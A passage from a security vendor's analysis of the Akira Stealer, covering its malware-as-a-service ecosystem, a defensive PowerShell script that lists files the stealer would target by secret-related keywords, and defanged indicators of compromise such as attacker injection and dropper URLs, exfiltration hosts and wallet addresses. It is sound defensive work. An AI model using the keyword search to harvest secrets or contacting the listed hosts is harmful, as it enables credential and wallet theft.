branding",[806,16814,16815],{},[1449,16816],{"alt":16817,"src":16818},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[810,16820,16822],{"id":16821},"_102-commercialization-of-cybercrime","10.2 Commercialization of Cybercrime",[806,16824,1531],{},[806,16826,16827],{},"Akira's structure reflects a broader movement toward \"Malware-as-a-Service\" (MaaS), where:",[2733,16829,16830,16836,16842,16848],{},[2736,16831,16832,16835],{},[1732,16833,16834],{},"No deep technical skill"," is required to launch attacks",[2736,16837,16838,16841],{},[1732,16839,16840],{},"Low entry costs"," ($75 for 3 months, $150 for lifetime)",[2736,16843,16844,16847],{},[1732,16845,16846],{},"Instant support and documentation"," through Telegram",[2736,16849,16850,16853],{},[1732,16851,16852],{},"Community contributions"," regularly extend Akira with scripts and feature suggestions",[806,16855,16856],{},"This ecosystem mirrors legitimate SaaS business models — with changelogs, UX improvements, pricing tiers, and upsells.",[806,16858,16859],{},[1449,16860],{"alt":16861,"src":16862},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[810,16864,16866],{"id":16865},"_103-beyond-the-stealer-the-ecosystems-components","10.3 Beyond the Stealer – The Ecosystem's Components",[806,16868,1531],{},[806,16870,7250,16871,16873],{},[1546,16872,6153],{}," is the heart of many attacks, the ecosystem provides a full chain:",[2733,16875,16876,16879,16882,16885,16888],{},[2736,16877,16878],{},"Obfuscation tools like PyInstaller wrappers",[2736,16880,16881],{},"File binders for coupling malicious payloads with benign software",[2736,16883,16884],{},"Compilers, crypters, and runtime polymorphism",[2736,16886,16887],{},"Hosting mirrors for payload delivery and exfiltration (e.g., GoFile, AnonFiles)",[2736,16889,16890],{},"Data management bots that summarize stolen credentials and hardware profiles",[806,16892,16893],{},[1449,16894],{"alt":16895,"src":16896},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[1511,16898,16900],{"id":16899},"_11-akira-stealer-quickcheck-affected-files","11. Akira Stealer QuickCheck affected files",[806,16902,816],{},[810,16904,16906],{"id":16905},"_111-what-is-this-for","11.1 What Is This For?",[806,16908,1531],{},[806,16910,16911,16912,2285,16915,2285,16918,7718,16921,16924],{},"After a suspected Akira Stealer infection, it's critical to know immediately which files on your system were at risk of exfiltration. The QuickCheck PowerShell script outlined above replicates Akira's exact search logic: it scans the user's ",[1732,16913,16914],{},"Desktop",[1732,16916,16917],{},"Documents",[1732,16919,16920],{},"Downloads",[1732,16922,16923],{},"OneDrive"," folders for files that:",[2733,16926,16927,16943,16946],{},[2736,16928,16929,16930,2285,16933,2285,16936,16939,16940],{},"Contain sensitive keywords in their filename, such as ",[1546,16931,16932],{},"password",[1546,16934,16935],{},"wallet",[1546,16937,16938],{},"backup",", or ",[1546,16941,16942],{},"token",[2736,16944,16945],{},"Have specific extensions commonly targeted (.txt, .docx, .pdf, .jpg, etc.)",[2736,16947,16948],{},"Are under the 2 MB size limit imposed by the malware",[806,16950,16951,16952,16955],{},"While QuickCheck offers a rapid overview based on Akira Stealer’s internal logic, ",[1732,16953,16954],{},"it is not a substitute"," for comprehensive forensic tools or professional incident response. Always follow up with deeper analysis when dealing with confirmed breaches.",[806,16957,16958,16959,2285,16962,2285,16965,16968,16969,2491],{},"It then presents a sorted table of ",[1732,16960,16961],{},"Filename",[1732,16963,16964],{},"Relative Path",[1732,16966,16967],{},"Size (KB)"," and the ",[1732,16970,16971],{},"trigger keyword",[3589,16973,16974],{},[806,16975,16976,16979,16980,16983,16984,16986,16987,16990],{},[1732,16977,16978],{},"DISCLAIMER","\nThis tool is provided ",[1732,16981,16982],{},"“as is”"," without any warranty of completeness or fitness for a particular purpose. It does ",[1732,16985,16227],{}," guarantee detection of ",[1732,16988,16989],{},"all"," potentially sensitive files, nor does it replace full malware forensics. Use at your own risk.",[1536,16992],{"className":16993},[6385],[810,16995,16997],{"id":16996},"legal-notice","Legal Notice",[806,16999,1531],{},[806,17001,17002,17003,17006,17007,17010],{},"This QuickCheck Utility is intended for ",[1732,17004,17005],{},"defensive security"," assessments only. Any unauthorized scanning or usage on systems you do not own may violate privacy, copyright, or computer misuse laws. glueckkanja AG assumes ",[1732,17008,17009],{},"no liability"," for misuse or damages resulting from its use.",[810,17012,17014],{"id":17013},"powershell-script","PowerShell Script",[806,17016,1531],{},[1540,17018,17020],{"className":7216,"code":17019,"language":7218,"meta":863,"style":863},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[1546,17021,17022,17027,17032,17037,17041,17046,17051,17056,17061,17066,17071,17075,17080,17085,17090,17094,17099,17104,17108,17113,17118,17123,17128,17133,17137,17142,17147,17152,17156,17160,17165,17169,17174,17178,17183,17188,17193,17198,17203,17208,17213,17217,17222,17227,17232,17237,17242,17247,17252,17257,17262,17266,17271,17276,17280,17285,17290,17295,17300,17305,17310,17315,17320,17324,17328,17332,17337,17341,17346,17351,17356,17360,17365,17370,17375,17380,17385,17390,17395,17401,17406,17412,17417,17423,17429,17434,17439,17445],{"__ignoreMap":863},[1584,17023,17024],{"class":1586,"line":1587},[1584,17025,17026],{},"\u003C#\n",[1584,17028,17029],{"class":1586,"line":864},[1584,17030,17031],{},".SYNOPSIS\n",[1584,17033,17034],{"class":1586,"line":1810},[1584,17035,17036],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1584,17038,17039],{"class":1586,"line":1827},[1584,17040,9372],{"emptyLinePlaceholder":508},[1584,17042,17043],{"class":1586,"line":2131},[1584,17044,17045],{},".DESCRIPTION\n",[1584,17047,17048],{"class":1586,"line":2137},[1584,17049,17050],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1584,17052,17053],{"class":1586,"line":2143},[1584,17054,17055],{},"      • Contain one of the defined keywords in their name\n",[1584,17057,17058],{"class":1586,"line":2149},[1584,17059,17060],{},"      • Have an allowed file extension\n",[1584,17062,17063],{"class":1586,"line":2155},[1584,17064,17065],{},"      • Are not larger than 2 MB\n",[1584,17067,17068],{"class":1586,"line":2161},[1584,17069,17070],{},"    Presents the results in a colored, tabular overview.\n",[1584,17072,17073],{"class":1586,"line":10546},[1584,17074,9372],{"emptyLinePlaceholder":508},[1584,17076,17077],{"class":1586,"line":10552},[1584,17078,17079],{},".NOTES\n",[1584,17081,17082],{"class":1586,"line":10558},[1584,17083,17084],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1584,17086,17087],{"class":1586,"line":10564},[1584,17088,17089],{},"#>\n",[1584,17091,17092],{"class":1586,"line":10570},[1584,17093,9372],{"emptyLinePlaceholder":508},[1584,17095,17096],{"class":1586,"line":10576},[1584,17097,17098],{},"# -------------------------------------\n",[1584,17100,17101],{"class":1586,"line":10582},[1584,17102,17103],{},"# 1. Configuration\n",[1584,17105,17106],{"class":1586,"line":10588},[1584,17107,17098],{},[1584,17109,17110],{"class":1586,"line":10594},[1584,17111,17112],{},"$scanFolders = @(\n",[1584,17114,17115],{"class":1586,"line":10600},[1584,17116,17117],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1584,17119,17120],{"class":1586,"line":10606},[1584,17121,17122],{},"    \"$env:USERPROFILE\\Documents\",\n",[1584,17124,17125],{"class":1586,"line":10612},[1584,17126,17127],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1584,17129,17130],{"class":1586,"line":10618},[1584,17131,17132],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1584,17134,17135],{"class":1586,"line":10624},[1584,17136,10765],{},[1584,17138,17139],{"class":1586,"line":10630},[1584,17140,17141],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1584,17143,17144],{"class":1586,"line":11297},[1584,17145,17146],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1584,17148,17149],{"class":1586,"line":11302},[1584,17150,17151],{},"$maxSize    = 2MB\n",[1584,17153,17154],{"class":1586,"line":11307},[1584,17155,9372],{"emptyLinePlaceholder":508},[1584,17157,17158],{"class":1586,"line":11312},[1584,17159,17098],{},[1584,17161,17162],{"class":1586,"line":11318},[1584,17163,17164],{},"# 2. Scan and Collect Matches\n",[1584,17166,17167],{"class":1586,"line":11323},[1584,17168,17098],{},[1584,17170,17171],{"class":1586,"line":11328},[1584,17172,17173],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1584,17175,17176],{"class":1586,"line":11333},[1584,17177,9372],{"emptyLinePlaceholder":508},[1584,17179,17180],{"class":1586,"line":11338},[1584,17181,17182],{},"foreach ($folder in $scanFolders) {\n",[1584,17184,17185],{"class":1586,"line":11343},[1584,17186,17187],{},"    if (-not (Test-Path $folder)) { continue }\n",[1584,17189,17190],{"class":1586,"line":11348},[1584,17191,17192],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1584,17194,17195],{"class":1586,"line":11354},[1584,17196,17197],{},"        # 2.1 Extension filter\n",[1584,17199,17200],{"class":1586,"line":11360},[1584,17201,17202],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1584,17204,17205],{"class":1586,"line":11366},[1584,17206,17207],{},"        # 2.2 Size filter\n",[1584,17209,17210],{"class":1586,"line":11371},[1584,17211,17212],{},"        if ($_.Length -gt $maxSize) { return }\n",[1584,17214,17215],{"class":1586,"line":11376},[1584,17216,9372],{"emptyLinePlaceholder":508},[1584,17218,17219],{"class":1586,"line":11381},[1584,17220,17221],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1584,17223,17224],{"class":1586,"line":11386},[1584,17225,17226],{},"        $hit = $null\n",[1584,17228,17229],{"class":1586,"line":11392},[1584,17230,17231],{},"        foreach ($kw in $keywords) {\n",[1584,17233,17234],{"class":1586,"line":11397},[1584,17235,17236],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1584,17238,17239],{"class":1586,"line":11402},[1584,17240,17241],{},"                $hit = $kw\n",[1584,17243,17244],{"class":1586,"line":11407},[1584,17245,17246],{},"                break\n",[1584,17248,17249],{"class":1586,"line":11412},[1584,17250,17251],{},"            }\n",[1584,17253,17254],{"class":1586,"line":11417},[1584,17255,17256],{},"        }\n",[1584,17258,17259],{"class":1586,"line":11422},[1584,17260,17261],{},"        if (-not $hit) { return }\n",[1584,17263,17264],{"class":1586,"line":11428},[1584,17265,9372],{"emptyLinePlaceholder":508},[1584,17267,17268],{"class":1586,"line":11434},[1584,17269,17270],{},"        # 2.4 Build relative path\n",[1584,17272,17273],{"class":1586,"line":11440},[1584,17274,17275],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1584,17277,17278],{"class":1586,"line":11446},[1584,17279,9372],{"emptyLinePlaceholder":508},[1584,17281,17282],{"class":1586,"line":11451},[1584,17283,17284],{},"        # 2.5 Collect\n",[1584,17286,17287],{"class":1586,"line":11456},[1584,17288,17289],{},"        $matches.Add([PSCustomObject]@{\n",[1584,17291,17292],{"class":1586,"line":11462},[1584,17293,17294],{},"            FileName    = $_.Name\n",[1584,17296,17297],{"class":1586,"line":11468},[1584,17298,17299],{},"            Location    = $rel\n",[1584,17301,17302],{"class":1586,"line":11474},[1584,17303,17304],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1584,17306,17307],{"class":1586,"line":11480},[1584,17308,17309],{},"            Keyword     = $hit\n",[1584,17311,17312],{"class":1586,"line":11485},[1584,17313,17314],{},"        })\n",[1584,17316,17317],{"class":1586,"line":11490},[1584,17318,17319],{},"    }\n",[1584,17321,17322],{"class":1586,"line":11496},[1584,17323,7938],{},[1584,17325,17326],{"class":1586,"line":11501},[1584,17327,9372],{"emptyLinePlaceholder":508},[1584,17329,17330],{"class":1586,"line":11506},[1584,17331,17098],{},[1584,17333,17334],{"class":1586,"line":11512},[1584,17335,17336],{},"# 3. Display Results\n",[1584,17338,17339],{"class":1586,"line":11518},[1584,17340,17098],{},[1584,17342,17343],{"class":1586,"line":11524},[1584,17344,17345],{},"clear\n",[1584,17347,17348],{"class":1586,"line":11529},[1584,17349,17350],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1584,17352,17353],{"class":1586,"line":11535},[1584,17354,17355],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1584,17357,17358],{"class":1586,"line":11541},[1584,17359,9372],{"emptyLinePlaceholder":508},[1584,17361,17362],{"class":1586,"line":11546},[1584,17363,17364],{},"if ($matches.Count -gt 0) {\n",[1584,17366,17367],{"class":1586,"line":11552},[1584,17368,17369],{},"    $matches |\n",[1584,17371,17372],{"class":1586,"line":11558},[1584,17373,17374],{},"        Sort-Object Location, FileName |\n",[1584,17376,17377],{"class":1586,"line":11563},[1584,17378,17379],{},"        Format-Table -AutoSize `\n",[1584,17381,17382],{"class":1586,"line":11568},[1584,17383,17384],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1584,17386,17387],{"class":1586,"line":11573},[1584,17388,17389],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1584,17391,17392],{"class":1586,"line":11579},[1584,17393,17394],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1584,17396,17398],{"class":1586,"line":17397},79,[1584,17399,17400],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1584,17402,17404],{"class":1586,"line":17403},80,[1584,17405,9372],{"emptyLinePlaceholder":508},[1584,17407,17409],{"class":1586,"line":17408},81,[1584,17410,17411],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1584,17413,17415],{"class":1586,"line":17414},82,[1584,17416,7938],{},[1584,17418,17420],{"class":1586,"line":17419},83,[1584,17421,17422],{},"else {\n",[1584,17424,17426],{"class":1586,"line":17425},84,[1584,17427,17428],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1584,17430,17432],{"class":1586,"line":17431},85,[1584,17433,7938],{},[1584,17435,17437],{"class":1586,"line":17436},86,[1584,17438,9372],{"emptyLinePlaceholder":508},[1584,17440,17442],{"class":1586,"line":17441},87,[1584,17443,17444],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1584,17446,17448],{"class":1586,"line":17447},88,[1584,17449,17450],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[1536,17452],{"className":17453},[6385,6386],[1511,17455,17457],{"id":17456},"_12-beyond-response-how-glueckkanja-csoc-turns-incidents-into-insights","12. Beyond Response – How glueckkanja CSOC Turns Incidents into Insights",[806,17459,816],{},[806,17461,17462,17463],{},"Most security operations centers stop at containment.\n",[1732,17464,17465],{},"We don’t.",[806,17467,17468],{},"At glueckkanja CSOC, we believe incident response isn’t the finish line—it’s the starting point.",[806,17470,17471],{},"When others declare victory and move on, we dive deeper. For us, each incident is an opportunity to learn, adapt, and become stronger. Our relentless curiosity, fueled by years of deep forensic expertise and reverse engineering capability, ensures we don’t just defend—we anticipate.",[806,17473,17474,17475,2491],{},"This philosophy is why we built the ",[1732,17476,17477],{},"Akira Compromise Reporter",[806,17479,17480],{},"Far beyond basic detection, this internally developed forensic tool uses our intimate knowledge of the Akira Stealer to provide absolute clarity on what data has been compromised. Within minutes, it produces a precise, actionable snapshot of the incident's full impact:",[2733,17482,17483,17486,17489],{},[2736,17484,17485],{},"Exactly which credentials, tokens, and browser sessions were stolen.",[2736,17487,17488],{},"Precisely which cryptocurrency wallets, messaging accounts, and files were exposed.",[2736,17490,17491],{},"A clear, structured, and detailed forensic report—transforming uncertainty into immediate, informed action.",[806,17493,17494],{},[1449,17495],{"alt":17496,"src":17497},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[806,17499,17500],{},"Because at glueckkanja, we measure our success not just by threats blocked, but by clarity provided. ybersecurity, done right, isn’t about simply reacting to incidents—It’s about understanding, adapting, and always staying one step ahead.",[806,17502,17503],{},[1732,17504,17505],{},"That’s the glueckkanja CSOC difference.",[1511,17507,17509],{"id":17508},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[806,17511,816],{},[806,17513,17514],{},"Below is a comprehensive, verbatim collection of IOCs extracted directly from the malware code during our internal reverse engineering process at glueckkanja CSOC. No assumptions or external threat intel sources were used — all indicators are confirmed findings. All URLs are deliberately obfuscated to prevent accidental clicks.",[806,17516,17517],{},[1732,17518,17519],{},"Abbreviations:",[2733,17521,17522,17528],{},[2736,17523,17524,17527],{},[1732,17525,17526],{},"TG:"," Telegram reporting channel",[2736,17529,17530,17533],{},[1732,17531,17532],{},"Alt:"," Alternate (fallback) endpoint",[810,17535,17537],{"id":17536},"_1-domains-urls","1. Domains & URLs",[806,17539,1531],{},[1898,17541,1901,17543],{"className":17542,"style":10199},[16617],[1919,17544,17545,1901,17557,1901,17570,1901,17583,1901,17596,1901,17609,1901,17622,1901,17635,1901,17651,1901,17667,1901,17680,1901,17693,1901,17706,1901,17719,1901,17732,1901,17745,1901,17758,1901,17771,1901,17784,1901,17797,1901,17811,1901,17824],{},[1907,17546,1905,17547,1905,17551,1905,17555,1901],{},[1911,17548,17550],{"style":17549},"text-align: left; width: 18%;","Category",[1911,17552,17554],{"style":17553},"text-align: left; width: 52%;","Obfuscated URL",[1911,17556,10375],{"style":10368},[1907,17558,1905,17559,1905,17562,1905,17567,1901],{},[1924,17560,17561],{},"Primary Injection",[1924,17563,17564],{},[1546,17565,17566],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1924,17568,17569],{},"Initial attacker webhook endpoint",[1907,17571,1905,17572,1905,17575,1905,17580,1901],{"style":10224},[1924,17573,17574],{},"Fallback Injection",[1924,17576,17577],{},[1546,17578,17579],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1924,17581,17582],{},"Alternate injector endpoint",[1907,17584,1905,17585,1905,17588,1905,17593,1901],{},[1924,17586,17587],{},"Error Reporting (TG)",[1924,17589,17590],{},[1546,17591,17592],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1924,17594,17595],{},"Telegram error/log reporting URL",[1907,17597,1905,17598,1905,17601,1905,17606,1901],{"style":10224},[1924,17599,17600],{},"Error Reporting (Alt)",[1924,17602,17603],{},[1546,17604,17605],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1924,17607,17608],{},"Alternate error/log reporting URL",[1907,17610,1905,17611,1905,17614,1905,17619,1901],{},[1924,17612,17613],{},"Vanity Bot (TG)",[1924,17615,17616],{},[1546,17617,17618],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1924,17620,17621],{},"Vanity address notification endpoint",[1907,17623,1905,17624,1905,17627,1905,17632,1901],{"style":10224},[1924,17625,17626],{},"Vanity Bot (Alt)",[1924,17628,17629],{},[1546,17630,17631],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1924,17633,17634],{},"Alternate vanity notification endpoint",[1907,17636,1905,17637,1905,17640,1905,17645,1901],{},[1924,17638,17639],{},"Exodus Injection",[1924,17641,17642],{},[1546,17643,17644],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1924,17646,17647,17648,17650],{},"Electron ",[1546,17649,10105],{}," app module",[1907,17652,1905,17653,1905,17656,1905,17661,1901],{"style":10224},[1924,17654,17655],{},"Atomic Injection",[1924,17657,17658],{},[1546,17659,17660],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1924,17662,17647,17663,17666],{},[1546,17664,17665],{},"AtomicWallet"," module",[1907,17668,1905,17669,1905,17672,1905,17677,1901],{},[1924,17670,17671],{},"Updater Download",[1924,17673,17674],{},[1546,17675,17676],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1924,17678,17679],{},"Persistence dropper executable",[1907,17681,1905,17682,1905,17685,1905,17690,1901],{"style":10224},[1924,17683,17684],{},"Gofile API List",[1924,17686,17687],{},[1546,17688,17689],{},"https[:]//api.gofile[.]io/servers",[1924,17691,17692],{},"Retrieves best GoFile upload server",[1907,17694,1905,17695,1905,17698,1905,17703,1901],{},[1924,17696,17697],{},"Discord Token Check",[1924,17699,17700],{},[1546,17701,17702],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1924,17704,17705],{},"Validates stolen Discord token",[1907,17707,1905,17708,1905,17711,1905,17716,1901],{"style":10224},[1924,17709,17710],{},"Discord Billing Info",[1924,17712,17713],{},[1546,17714,17715],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1924,17717,17718],{},"Retrieves billing methods",[1907,17720,1905,17721,1905,17724,1905,17729,1901],{},[1924,17722,17723],{},"Google OAuth Replay",[1924,17725,17726],{},[1546,17727,17728],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1924,17730,17731],{},"Replays stolen Google session tokens",[1907,17733,1905,17734,1905,17737,1905,17742,1901],{"style":10224},[1924,17735,17736],{},"IP Check (hosting)",[1924,17738,17739],{},[1546,17740,17741],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1924,17743,17744],{},"Hosting environment detection",[1907,17746,1905,17747,1905,17750,1905,17755,1901],{},[1924,17748,17749],{},"IP Lookup (geo)",[1924,17751,17752],{},[1546,17753,17754],{},"http[:]//ip-api[.]com/json/{ip}",[1924,17756,17757],{},"Geolocation by IP",[1907,17759,1905,17760,1905,17763,1905,17768,1901],{"style":10224},[1924,17761,17762],{},"Public IP Retrieval",[1924,17764,17765],{},[1546,17766,17767],{},"https[:]//api[.]ipify[.]org",[1924,17769,17770],{},"Fetches external IP address",[1907,17772,1905,17773,1905,17776,1905,17781,1901],{},[1924,17774,17775],{},"File.io Upload",[1924,17777,17778],{},[1546,17779,17780],{},"https[:]//file[.]io/",[1924,17782,17783],{},"Secondary exfiltration channel",[1907,17785,1905,17786,1905,17789,1905,17794,1901],{"style":10224},[1924,17787,17788],{},"Oshi.at Upload",[1924,17790,17791],{},[1546,17792,17793],{},"http[:]//oshi[.]at/",[1924,17795,17796],{},"Tertiary exfiltration channel",[1907,17798,1905,17799,1905,17802,1905,17808,1901],{},[1924,17800,17801],{},"JS Dropper Primary",[1924,17803,17804],{},[833,17805,17807],{"href":17806,"target":513},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1924,17809,17810],{},"Remote reference to actual ZIP URL",[1907,17812,1905,17813,1905,17816,1905,17821,1901],{"style":10224},[1924,17814,17815],{},"JS Dropper Fallback 1",[1924,17817,17818],{},[833,17819,17820],{"href":9121,"target":513},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1924,17822,17823],{},"Alternative payload ZIP",[1907,17825,1905,17826,1905,17829,1905,17834,1901],{},[1924,17827,17828],{},"JS Dropper Fallback 2",[1924,17830,17831],{},[833,17832,17833],{"href":9126,"target":513},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1924,17835,17836],{},"Secondary fallback payload ZIP",[1536,17838],{"className":17839},[6385,6386],[810,17841,17843],{"id":17842},"_2-cryptocurrency-addresses","2. Cryptocurrency Addresses",[806,17845,1531],{},[1898,17847,1901,17849],{"className":17848,"style":10199},[16617],[1919,17850,17851,1901,17859,1901,17869,1901,17879,1901,17889,1901,17898,1901,17908,1901,17918,1901,17928,1901,17938,1901,17948],{},[1907,17852,1905,17853,1905,17856,1901],{},[1911,17854,17855],{"style":16628},"Currency",[1911,17857,17858],{"style":10368},"Address",[1907,17860,1905,17861,1905,17864,1901],{},[1924,17862,17863],{},"BTC",[1924,17865,17866],{},[1546,17867,17868],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1907,17870,1905,17871,1905,17874,1901],{"style":10224},[1924,17872,17873],{},"ETH",[1924,17875,17876],{},[1546,17877,17878],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1907,17880,1905,17881,1905,17884,1901],{},[1924,17882,17883],{},"DOGE",[1924,17885,17886],{},[1546,17887,17888],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1907,17890,1905,17891,1905,17894,1901],{"style":10224},[1924,17892,17893],{},"LTC",[1924,17895,17896],{},[1546,17897,16658],{},[1907,17899,1905,17900,1905,17903,1901],{},[1924,17901,17902],{},"XMR",[1924,17904,17905],{},[1546,17906,17907],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1907,17909,1905,17910,1905,17913,1901],{"style":10224},[1924,17911,17912],{},"BCH",[1924,17914,17915],{},[1546,17916,17917],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1907,17919,1905,17920,1905,17923,1901],{},[1924,17921,17922],{},"DASH",[1924,17924,17925],{},[1546,17926,17927],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1907,17929,1905,17930,1905,17933,1901],{"style":10224},[1924,17931,17932],{},"TRX",[1924,17934,17935],{},[1546,17936,17937],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1907,17939,1905,17940,1905,17943,1901],{},[1924,17941,17942],{},"XRP",[1924,17944,17945],{},[1546,17946,17947],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1907,17949,1905,17950,1905,17953,1901],{"style":10224},[1924,17951,17952],{},"XLM",[1924,17954,17955],{},[1546,17956,17957],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[1536,17959],{"className":17960},[6385,6386],[810,17962,17964],{"id":17963},"_3-registry-keys-paths","3. Registry Keys / Paths",[806,17966,1531],{},[1898,17968,1901,17970],{"className":17969,"style":10199},[16617],[1919,17971,17972,1901,17979,1901,17989,1901,17999,1901,18012],{},[1907,17973,1905,17974,1905,17977,1901],{},[1911,17975,7191],{"style":17976},"text-align: left; width: 60%;",[1911,17978,6735],{"style":10368},[1907,17980,1905,17981,1905,17986,1901],{},[1924,17982,17983],{},[1546,17984,17985],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1924,17987,17988],{},"Checks for virtual GPU driver 